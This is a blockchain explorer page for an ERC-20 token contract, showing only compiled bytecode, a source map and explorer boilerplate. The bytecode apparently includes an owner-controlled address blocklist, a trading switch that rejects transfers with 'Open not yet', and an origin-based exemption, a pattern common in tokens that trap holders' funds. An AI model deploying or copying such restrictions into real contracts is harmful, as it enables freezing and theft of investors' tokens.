5b81516001600160401b038111156104d1576104d1610421565b6104e5816104df8454610435565b8461046d565b602080601f831160018114610518575f84156105015750858301515b5f19600386901b1c1916600185901b17855561056f565b5f85815260208120601f198616915b8281101561054657888601518255948401946001909101908401610527565b508582101561056357878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156105c557815f19048211156105ab576105ab610577565b808516156105b857918102915b93841c9390800290610590565b509250929050565b5f826105db57506001610667565b816105e757505f610667565b81600181146105fd576002811461060757610623565b6001915050610667565b60ff84111561061857610618610577565b50506001821b610667565b5060208310610133831016604e8410600b8410161715610646575081810a610667565b610650838361058b565b805f190482111561066357610663610577565b0290505b92915050565b5f61067b60ff8416836105cd565b9392505050565b808202811582820484141761066757610667610577565b8082018082111561066757610667610577565b610cdb806106b95f395ff3fe608060405234801561000f575f80fd5b506004361061011c575f3560e01c8063715018a6116100a9578063a9059cbb1161006e578063a9059cbb1461025b578063ad5c46481461026e578063d84f35b214610281578063dd62ed3e14610294578063f2fde38b146102cc575f80fd5b8063715018a6146101fb5780638da5cb5b1461020357806395d89b41146102285780639c54df6414610230578063a8aa1b3114610243575f80fd5b806323b872dd116100ef57806323b872dd1461017d57806324d7806c14610190578063313ce567146101bb5780636c9e4990146101ca57806370a08231146101d3575f80fd5b806306fdde0314610120578063095ea7b31461013e5780630f8540e41461016157806318160ddd1461016b575b5f80fd5b6101286102df565b6040516101359190610a31565b60405180910390f35b61015161014c366004610a8a565b61036f565b6040519015158152602001610135565b610169610388565b005b6002545b604051908152602001610135565b61015161018b366004610ab4565b61043f565b61015161019e366004610af2565b6001600160a01b03165f9081526007602052604090205460ff1690565b60405160128152602001610135565b61016f600b5481565b61016f6101e1366004610af2565b6001600160a01b03165f9081526020819052604090205490565b610169610462565b6005546001600160a01b03165b6040516001600160a01b039091168152602001610135565b610128610475565b61016961023e366004610b28565b610484565b6008546102109061010090046001600160a01b031681565b610151610269366004610a8a565b6104eb565b600954610210906001600160a01b031681565b61016961028f366004610b28565b6104f8565b61016f6102a2366004610be8565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6101696102da366004610af2565b61055a565b6060600380546102ee90610c1f565b80601f016020809104026020016040519081016040528092919081815260200182805461031a90610c1f565b80156103655780601f1061033c57610100808354040283529160200191610365565b820191905f5260205f20905b81548152906001019060200180831161034857829003601f168201915b5050505050905090565b5f3361037c81858561059c565b60019150505b92915050565b6103906105ae565b600a54600954604051630b4c774160e11b81523060048201526001600160a01b0391821660248201526064604482018190529190921691631698ee829101602060405180830381865afa1580156103e9573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061040d9190610c57565b6008805460ff196001600160a01b039390931661010002929092166001600160a81b0319909216919091176001179055565b5f3361044c8582856105db565b610457858585610656565b506001949350505050565b61046a6105ae565b6104735f6106b3565b565b6060600480546102ee90610c1f565b61048c6105ae565b5f5b81518110156104e757600160075f8484815181106104ae576104ae610c72565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff191691151591909117905560010161048e565b5050565b5f3361037c818585610656565b6105006105ae565b5f5b81518110156104e7575f60075f84848151811061052157610521610c72565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610502565b6105626105ae565b6001600160a01b03811661059057604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b610599816106b3565b50565b6105a98383836001610704565b505050565b6005546001600160a01b031633146104735760405163118cdaa760e01b8152336004820152602401610587565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f198114610650578181101561064257604051637dc7a0d960e11b81526001600160a01b03841660048201526024810182905260448101839052606401610587565b61065084848484035f610704565b50505050565b6001600160a01b03831661067f57604051634b637e8f60e11b81525f6004820152602401610587565b6001600160a01b0382166106a85760405163ec442f0560e01b81525f6004820152602401610587565b6105a98383836107d6565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b03841661072d5760405163e602df0560e01b81525f6004820152602401610587565b6001600160a01b03831661075657604051634a1406b160e11b81525f6004820152602401610587565b6001600160a01b038085165f908152600160209081526040808320938716835292905220829055801561065057826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516107c891815260200190565b60405180910390a350505050565b325f9081526006602052604090205460ff16156107f8576105a983838361090b565b60085460ff166108395760405162461bcd60e51b815260206004820152600c60248201526b13dc195b881b9bdd081e595d60a21b6044820152606401610587565b6001600160a01b0383165f9081526007602052604090205460ff1615801561087957506001600160a01b0382165f9081526007602052604090205460ff16155b610881575f80fd5b6008545f906001600160a01b0384811661010090920416146108a3575f6108a6565b60015b905080156108b95761065084848461090b565b806108c95761065084848461090b565b6008546001600160a01b0385811661010090920416148015906108ff57506008546001600160a01b038481166101009092041614155b15610650576106508484845b6001600160a01b038316610935578060025f82825461092a9190610c86565b909155506109a59050565b6001600160a01b0383165f90815260208190526040902054818110156109875760405163391434e360e21b81526001600160a01b03851660048201526024810182905260448101839052606401610587565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b0382166109c1576002805482900390556109df565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a2491815260200190565b60405180910390a3505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610599575f80fd5b8035610a8581610a66565b919050565b5f8060408385031215610a9b575f80fd5b8235610aa681610a66565b946020939093013593505050565b5f805f60608486031215610ac6575f80fd5b8335610ad181610a66565b92506020840135610ae181610a66565b929592945050506040919091013590565b5f60208284031215610b02575f80fd5b8135610b0d81610a66565b9392505050565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215610b39575f80fd5b823567ffffffffffffffff80821115610b50575f80fd5b818501915085601f830112610b63575f80fd5b813581811115610b7557610b75610b14565b8060051b604051601f19603f83011681018181108582111715610b9a57610b9a610b14565b604052918252848201925083810185019188831115610bb7575f80fd5b938501935b82851015610bdc57610bcd85610a7a565b84529385019392850192610bbc565b98975050505050505050565b5f8060408385031215610bf9575f80fd5b8235610c0481610a66565b91506020830135610c1481610a66565b809150509250929050565b600181811c90821680610c3357607f821691505b602082108103610c5157634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215610c67575f80fd5b8151610b0d81610a66565b634e487b7160e01b5f52603260045260245ffd5b8082018082111561038257634e487b7160e01b5f52601160045260245ffdfea2646970667358221220b1d61963908a35eecd2acfa27e28c1eee636b89d9d6aca03107972f6386ae4a064736f6c63430008190033

Deployed Bytecode

0x608060405234801561000f575f80fd5b506004361061011c575f3560e01c8063715018a6116100a9578063a9059cbb1161006e578063a9059cbb1461025b578063ad5c46481461026e578063d84f35b214610281578063dd62ed3e14610294578063f2fde38b146102cc575f80fd5b8063715018a6146101fb5780638da5cb5b1461020357806395d89b41146102285780639c54df6414610230578063a8aa1b3114610243575f80fd5b806323b872dd116100ef57806323b872dd1461017d57806324d7806c14610190578063313ce567146101bb5780636c9e4990146101ca57806370a08231146101d3575f80fd5b806306fdde0314610120578063095ea7b31461013e5780630f8540e41461016157806318160ddd1461016b575b5f80fd5b6101286102df565b6040516101359190610a31565b60405180910390f35b61015161014c366004610a8a565b61036f565b6040519015158152602001610135565b610169610388565b005b6002545b604051908152602001610135565b61015161018b366004610ab4565b61043f565b61015161019e366004610af2565b6001600160a01b03165f9081526007602052604090205460ff1690565b60405160128152602001610135565b61016f600b5481565b61016f6101e1366004610af2565b6001600160a01b03165f9081526020819052604090205490565b610169610462565b6005546001600160a01b03165b6040516001600160a01b039091168152602001610135565b610128610475565b61016961023e366004610b28565b610484565b6008546102109061010090046001600160a01b031681565b610151610269366004610a8a565b6104eb565b600954610210906001600160a01b031681565b61016961028f366004610b28565b6104f8565b61016f6102a2366004610be8565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6101696102da366004610af2565b61055a565b6060600380546102ee90610c1f565b80601f016020809104026020016040519081016040528092919081815260200182805461031a90610c1f565b80156103655780601f1061033c57610100808354040283529160200191610365565b820191905f5260205f20905b81548152906001019060200180831161034857829003601f168201915b5050505050905090565b5f3361037c81858561059c565b60019150505b92915050565b6103906105ae565b600a54600954604051630b4c774160e11b81523060048201526001600160a01b0391821660248201526064604482018190529190921691631698ee829101602060405180830381865afa1580156103e9573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061040d9190610c57565b6008805460ff196001600160a01b039390931661010002929092166001600160a81b0319909216919091176001179055565b5f3361044c8582856105db565b610457858585610656565b506001949350505050565b61046a6105ae565b6104735f6106b3565b565b6060600480546102ee90610c1f565b61048c6105ae565b5f5b81518110156104e757600160075f8484815181106104ae576104ae610c72565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff191691151591909117905560010161048e565b5050565b5f3361037c818585610656565b6105006105ae565b5f5b81518110156104e7575f60075f84848151811061052157610521610c72565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610502565b6105626105ae565b6001600160a01b03811661059057604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b610599816106b3565b50565b6105a98383836001610704565b505050565b6005546001600160a01b031633146104735760405163118cdaa760e01b8152336004820152602401610587565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f198114610650578181101561064257604051637dc7a0d960e11b81526001600160a01b03841660048201526024810182905260448101839052606401610587565b61065084848484035f610704565b50505050565b6001600160a01b03831661067f57604051634b637e8f60e11b81525f6004820152602401610587565b6001600160a01b0382166106a85760405163ec442f0560e01b81525f6004820152602401610587565b6105a98383836107d6565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b03841661072d5760405163e602df0560e01b81525f6004820152602401610587565b6001600160a01b03831661075657604051634a1406b160e11b81525f6004820152602401610587565b6001600160a01b038085165f908152600160209081526040808320938716835292905220829055801561065057826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516107c891815260200190565b60405180910390a350505050565b325f9081526006602052604090205460ff16156107f8576105a983838361090b565b60085460ff166108395760405162461bcd60e51b815260206004820152600c60248201526b13dc195b881b9bdd081e595d60a21b6044820152606401610587565b6001600160a01b0383165f9081526007602052604090205460ff1615801561087957506001600160a01b0382165f9081526007602052604090205460ff16155b610881575f80fd5b6008545f906001600160a01b0384811661010090920416146108a3575f6108a6565b60015b905080156108b95761065084848461090b565b806108c95761065084848461090b565b6008546001600160a01b0385811661010090920416148015906108ff57506008546001600160a01b038481166101009092041614155b15610650576106508484845b6001600160a01b038316610935578060025f82825461092a9190610c86565b909155506109a59050565b6001600160a01b0383165f90815260208190526040902054818110156109875760405163391434e360e21b81526001600160a01b03851660048201526024810182905260448101839052606401610587565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b0382166109c1576002805482900390556109df565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a2491815260200190565b60405180910390a3505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610599575f80fd5b8035610a8581610a66565b919050565b5f8060408385031215610a9b575f80fd5b8235610aa681610a66565b946020939093013593505050565b5f805f60608486031215610ac6575f80fd5b8335610ad181610a66565b92506020840135610ae181610a66565b929592945050506040919091013590565b5f60208284031215610b02575f80fd5b8135610b0d81610a66565b9392505050565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215610b39575f80fd5b823567ffffffffffffffff80821115610b50575f80fd5b818501915085601f830112610b63575f80fd5b813581811115610b7557610b75610b14565b8060051b604051601f19603f83011681018181108582111715610b9a57610b9a610b14565b604052918252848201925083810185019188831115610bb7575f80fd5b938501935b82851015610bdc57610bcd85610a7a565b84529385019392850192610bbc565b98975050505050505050565b5f8060408385031215610bf9575f80fd5b8235610c0481610a66565b91506020830135610c1481610a66565b809150509250929050565b600181811c90821680610c3357607f821691505b602082108103610c5157634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215610c67575f80fd5b8151610b0d81610a66565b634e487b7160e01b5f52603260045260245ffd5b8082018082111561038257634e487b7160e01b5f52601160045260245ffdfea2646970667358221220b1d61963908a35eecd2acfa27e28c1eee636b89d9d6aca03107972f6386ae4a064736f6c63430008190033

Deployed Bytecode Sourcemap

134:1497:4:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2038:89:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4257:186;;;;;;:::i;:::-;;:::i;:::-;;;1197:14:9;;1190:22;1172:41;;1160:2;1145:18;4257:186:1;1032:187:9;647:128:4;;;:::i;:::-;;3108:97:1;3186:12;;3108:97;;;1370:25:9;;;1358:2;1343:18;3108:97:1;1224:177:9;5003:244:1;;;;;;:::i;:::-;;:::i;1061:75:4:-;;;;;;:::i;:::-;-1:-1:-1;;;;;1124:9:4;1110:4;1124:9;;;:6;:9;;;;;;;;;1061:75;2966:82:1;;;3039:2;2261:36:9;;2249:2;2234:18;2966:82:1;2119:184:9;604:40:4;;;;;;3263:116:1;;;;;;:::i;:::-;-1:-1:-1;;;;;3354:18:1;3328:7;3354:18;;;;;;;;;;;;3263:116;2286:101:7;;;:::i;1631:85::-;1703:6;;-1:-1:-1;;;;;1703:6:7;1631:85;;;-1:-1:-1;;;;;2472:32:9;;;2454:51;;2442:2;2427:18;1631:85:7;2308:203:9;2240:93:1;;;:::i;777:138:4:-;;;;;;:::i;:::-;;:::i;427:19::-;;;;;;;;-1:-1:-1;;;;;427:19:4;;;3574:178:1;;;;;;:::i;:::-;;:::i;448:64:4:-;;;;;-1:-1:-1;;;;;448:64:4;;;917:142;;;;;;:::i;:::-;;:::i;3810:140:1:-;;;;;;:::i;:::-;-1:-1:-1;;;;;3916:18:1;;;3890:7;3916:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3810:140;2536:215:7;;;;;;:::i;:::-;;:::i;2038:89:1:-;2083:13;2115:5;2108:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2038:89;:::o;4257:186::-;4330:4;735:10:0;4384:31:1;735:10:0;4400:7:1;4409:5;4384:8;:31::i;:::-;4432:4;4425:11;;;4257:186;;;;;:::o;647:128:4:-;1524:13:7;:11;:13::i;:::-;712:5:4::1;::::0;742:4:::1;::::0;694:58:::1;::::0;-1:-1:-1;;;694:58:4;;735:4:::1;694:58;::::0;::::1;4801:34:9::0;-1:-1:-1;;;;;742:4:4;;::::1;4851:18:9::0;;;4844:43;748:3:4::1;4903:18:9::0;;;4896:49;;;712:5:4;;;::::1;::::0;694:32:::1;::::0;4736:18:9;694:58:4::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;687:4;:65:::0;;-1:-1:-1;;;;;;;687:65:4;;;::::1;;;754:18:::0;;;;-1:-1:-1;;;;;;754:18:4;;;;;;;687:4:::1;754:18;::::0;;647:128::o;5003:244:1:-;5090:4;735:10:0;5146:37:1;5162:4;735:10:0;5177:5:1;5146:15;:37::i;:::-;5193:26;5203:4;5209:2;5213:5;5193:9;:26::i;:::-;-1:-1:-1;5236:4:1;;5003:244;-1:-1:-1;;;;5003:244:1:o;2286:101:7:-;1524:13;:11;:13::i;:::-;2350:30:::1;2377:1;2350:18;:30::i;:::-;2286:101::o:0;2240:93:1:-;2287:13;2319:7;2312:14;;;;;:::i;777:138:4:-;1524:13:7;:11;:13::i;:::-;846:6:4::1;841:72;862:7;:14;858:1;:18;841:72;;;906:4;885:6;:18;892:7;900:1;892:10;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;885:18:4::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;885:18:4;:25;;-1:-1:-1;;885:25:4::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;878:3:4::1;841:72;;;;777:138:::0;:::o;3574:178:1:-;3643:4;735:10:0;3697:27:1;735:10:0;3714:2:1;3718:5;3697:9;:27::i;917:142:4:-;1524:13:7;:11;:13::i;:::-;987:6:4::1;982:75;1003:8;:15;999:1;:19;982:75;;;1049:5;1027:6;:19;1034:8;1043:1;1034:11;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;1027:19:4::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;1027:19:4;:27;;-1:-1:-1;;1027:27:4::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;1020:3:4::1;982:75;;2536:215:7::0;1524:13;:11;:13::i;:::-;-1:-1:-1;;;;;2620:22:7;::::1;2616:91;;2665:31;::::0;-1:-1:-1;;;2665:31:7;;2693:1:::1;2665:31;::::0;::::1;2454:51:9::0;2427:18;;2665:31:7::1;;;;;;;;2616:91;2716:28;2735:8;2716:18;:28::i;:::-;2536:215:::0;:::o;8953:128:1:-;9037:37;9046:5;9053:7;9062:5;9069:4;9037:8;:37::i;:::-;8953:128;;;:::o;1789:162:7:-;1703:6;;-1:-1:-1;;;;;1703:6:7;735:10:0;1848:23:7;1844:101;;1894:40;;-1:-1:-1;;;1894:40:7;;735:10:0;1894:40:7;;;2454:51:9;2427:18;;1894:40:7;2308:203:9;10627:477:1;-1:-1:-1;;;;;3916:18:1;;;10726:24;3916:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;10792:37:1;;10788:310;;10868:5;10849:16;:24;10845:130;;;10900:60;;-1:-1:-1;;;10900:60:1;;-1:-1:-1;;;;;5564:32:9;;10900:60:1;;;5546:51:9;5613:18;;;5606:34;;;5656:18;;;5649:34;;;5519:18;;10900:60:1;5344:345:9;10845:130:1;11016:57;11025:5;11032:7;11060:5;11041:16;:24;11067:5;11016:8;:57::i;:::-;10716:388;10627:477;;;:::o;5620:300::-;-1:-1:-1;;;;;5703:18:1;;5699:86;;5744:30;;-1:-1:-1;;;5744:30:1;;5771:1;5744:30;;;2454:51:9;2427:18;;5744:30:1;2308:203:9;5699:86:1;-1:-1:-1;;;;;5798:16:1;;5794:86;;5837:32;;-1:-1:-1;;;5837:32:1;;5866:1;5837:32;;;2454:51:9;2427:18;;5837:32:1;2308:203:9;5794:86:1;5889:24;5897:4;5903:2;5907:5;5889:7;:24::i;2905:187:7:-;2997:6;;;-1:-1:-1;;;;;3013:17:7;;;-1:-1:-1;;;;;;3013:17:7;;;;;;;3045:40;;2997:6;;;3013:17;2997:6;;3045:40;;2978:16;;3045:40;2968:124;2905:187;:::o;9913:432:1:-;-1:-1:-1;;;;;10025:19:1;;10021:89;;10067:32;;-1:-1:-1;;;10067:32:1;;10096:1;10067:32;;;2454:51:9;2427:18;;10067:32:1;2308:203:9;10021:89:1;-1:-1:-1;;;;;10123:21:1;;10119:90;;10167:31;;-1:-1:-1;;;10167:31:1;;10195:1;10167:31;;;2454:51:9;2427:18;;10167:31:1;2308:203:9;10119:90:1;-1:-1:-1;;;;;10218:18:1;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;:35;;;10263:76;;;;10313:7;-1:-1:-1;;;;;10297:31:1;10306:5;-1:-1:-1;;;;;10297:31:1;;10322:5;10297:31;;;;1370:25:9;;1358:2;1343:18;;1224:177;10297:31:1;;;;;;;;9913:432;;;;:::o;1138:490:4:-;1229:9;1222:17;;;;:6;:17;;;;;;;;1218:408;;;1243:30;1257:4;1263:2;1267:5;1243:13;:30::i;1218:408::-;1300:11;;;;1292:36;;;;-1:-1:-1;;;1292:36:4;;5896:2:9;1292:36:4;;;5878:21:9;5935:2;5915:18;;;5908:30;-1:-1:-1;;;5954:18:9;;;5947:42;6006:18;;1292:36:4;5694:336:9;1292:36:4;-1:-1:-1;;;;;1339:12:4;;;;;;:6;:12;;;;;;;;1338:13;:28;;;;-1:-1:-1;;;;;;1356:10:4;;;;;;:6;:10;;;;;;;;1355:11;1338:28;1330:37;;;;;;1389:4;;1369:10;;-1:-1:-1;;;;;1383:10:4;;;1389:4;;;;;1383:10;1382:27;;1404:5;1382:27;;;1397:4;1382:27;1369:40;;1415:5;1411:213;;;1424:30;1438:4;1444:2;1448:5;1424:13;:30::i;1411:213::-;1476:5;1471:153;;1485:30;1499:4;1505:2;1509:5;1485:13;:30::i;1471:153::-;1544:4;;-1:-1:-1;;;;;1536:12:4;;;1544:4;;;;;1536:12;;;;:26;;-1:-1:-1;1558:4:4;;-1:-1:-1;;;;;1552:10:4;;;1558:4;;;;;1552:10;;1536:26;1532:92;;;1566:30;1580:4;1586:2;1590:5;6235:1107:1;-1:-1:-1;;;;;6324:18:1;;6320:540;;6476:5;6460:12;;:21;;;;;;;:::i;:::-;;;;-1:-1:-1;6320:540:1;;-1:-1:-1;6320:540:1;;-1:-1:-1;;;;;6534:15:1;;6512:19;6534:15;;;;;;;;;;;6567:19;;;6563:115;;;6613:50;;-1:-1:-1;;;6613:50:1;;-1:-1:-1;;;;;5564:32:9;;6613:50:1;;;5546:51:9;5613:18;;;5606:34;;;5656:18;;;5649:34;;;5519:18;;6613:50:1;5344:345:9;6563:115:1;-1:-1:-1;;;;;6798:15:1;;:9;:15;;;;;;;;;;6816:19;;;;6798:37;;6320:540;-1:-1:-1;;;;;6874:16:1;;6870:425;;7037:12;:21;;;;;;;6870:425;;;-1:-1:-1;;;;;7248:13:1;;:9;:13;;;;;;;;;;:22;;;;;;6870:425;7325:2;-1:-1:-1;;;;;7310:25:1;7319:4;-1:-1:-1;;;;;7310:25:1;;7329:5;7310:25;;;;1370::9;;1358:2;1343:18;;1224:177;7310:25:1;;;;;;;;6235:1107;;;:::o;14:418:9:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:9;;502:42;;492:70;;558:1;555;548:12;573:134;641:20;;670:31;641:20;670:31;:::i;:::-;573:134;;;:::o;712:315::-;780:6;788;841:2;829:9;820:7;816:23;812:32;809:52;;;857:1;854;847:12;809:52;896:9;883:23;915:31;940:5;915:31;:::i;:::-;965:5;1017:2;1002:18;;;;989:32;;-1:-1:-1;;;712:315:9:o;1406:456::-;1483:6;1491;1499;1552:2;1540:9;1531:7;1527:23;1523:32;1520:52;;;1568:1;1565;1558:12;1520:52;1607:9;1594:23;1626:31;1651:5;1626:31;:::i;:::-;1676:5;-1:-1:-1;1733:2:9;1718:18;;1705:32;1746:33;1705:32;1746:33;:::i;:::-;1406:456;;1798:7;;-1:-1:-1;;;1852:2:9;1837:18;;;;1824:32;;1406:456::o;1867:247::-;1926:6;1979:2;1967:9;1958:7;1954:23;1950:32;1947:52;;;1995:1;1992;1985:12;1947:52;2034:9;2021:23;2053:31;2078:5;2053:31;:::i;:::-;2103:5;1867:247;-1:-1:-1;;;1867:247:9:o;2516:127::-;2577:10;2572:3;2568:20;2565:1;2558:31;2608:4;2605:1;2598:15;2632:4;2629:1;2622:15;2648:1121;2732:6;2763:2;2806;2794:9;2785:7;2781:23;2777:32;2774:52;;;2822:1;2819;2812:12;2774:52;2862:9;2849:23;2891:18;2932:2;2924:6;2921:14;2918:34;;;2948:1;2945;2938:12;2918:34;2986:6;2975:9;2971:22;2961:32;;3031:7;3024:4;3020:2;3016:13;3012:27;3002:55;;3053:1;3050;3043:12;3002:55;3089:2;3076:16;3111:2;3107;3104:10;3101:36;;;3117:18;;:::i;:::-;3163:2;3160:1;3156:10;3195:2;3189:9;3258:2;3254:7;3249:2;3245;3241:11;3237:25;3229:6;3225:38;3313:6;3301:10;3298:22;3293:2;3281:10;3278:18;3275:46;3272:72;;;3324:18;;:::i;:::-;3360:2;3353:22;3410:18;;;3444:15;;;;-1:-1:-1;3486:11:9;;;3482:20;;;3514:19;;;3511:39;;;3546:1;3543;3536:12;3511:39;3570:11;;;;3590:148;3606:6;3601:3;3598:15;3590:148;;;3672:23;3691:3;3672:23;:::i;:::-;3660:36;;3623:12;;;;3716;;;;3590:148;;;3757:6;2648:1121;-1:-1:-1;;;;;;;;2648:1121:9:o;3774:388::-;3842:6;3850;3903:2;3891:9;3882:7;3878:23;3874:32;3871:52;;;3919:1;3916;3909:12;3871:52;3958:9;3945:23;3977:31;4002:5;3977:31;:::i;:::-;4027:5;-1:-1:-1;4084:2:9;4069:18;;4056:32;4097:33;4056:32;4097:33;:::i;:::-;4149:7;4139:17;;;3774:388;;;;;:::o;4167:380::-;4246:1;4242:12;;;;4289;;;4310:61;;4364:4;4356:6;4352:17;4342:27;;4310:61;4417:2;4409:6;4406:14;4386:18;4383:38;4380:161;;4463:10;4458:3;4454:20;4451:1;4444:31;4498:4;4495:1;4488:15;4526:4;4523:1;4516:15;4380:161;;4167:380;;;:::o;4956:251::-;5026:6;5079:2;5067:9;5058:7;5054:23;5050:32;5047:52;;;5095:1;5092;5085:12;5047:52;5127:9;5121:16;5146:31;5171:5;5146:31;:::i;5212:127::-;5273:10;5268:3;5264:20;5261:1;5254:31;5304:4;5301:1;5294:15;5328:4;5325:1;5318:15;6035:222;6100:9;;;6121:10;;;6118:133;;;6173:10;6168:3;6164:20;6161:1;6154:31;6208:4;6205:1;6198:15;6236:4;6233:1;6226:15

Swarm Source

ipfs://b1d61963908a35eecd2acfa27e28c1eee636b89d9d6aca03107972f6386ae4a0
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.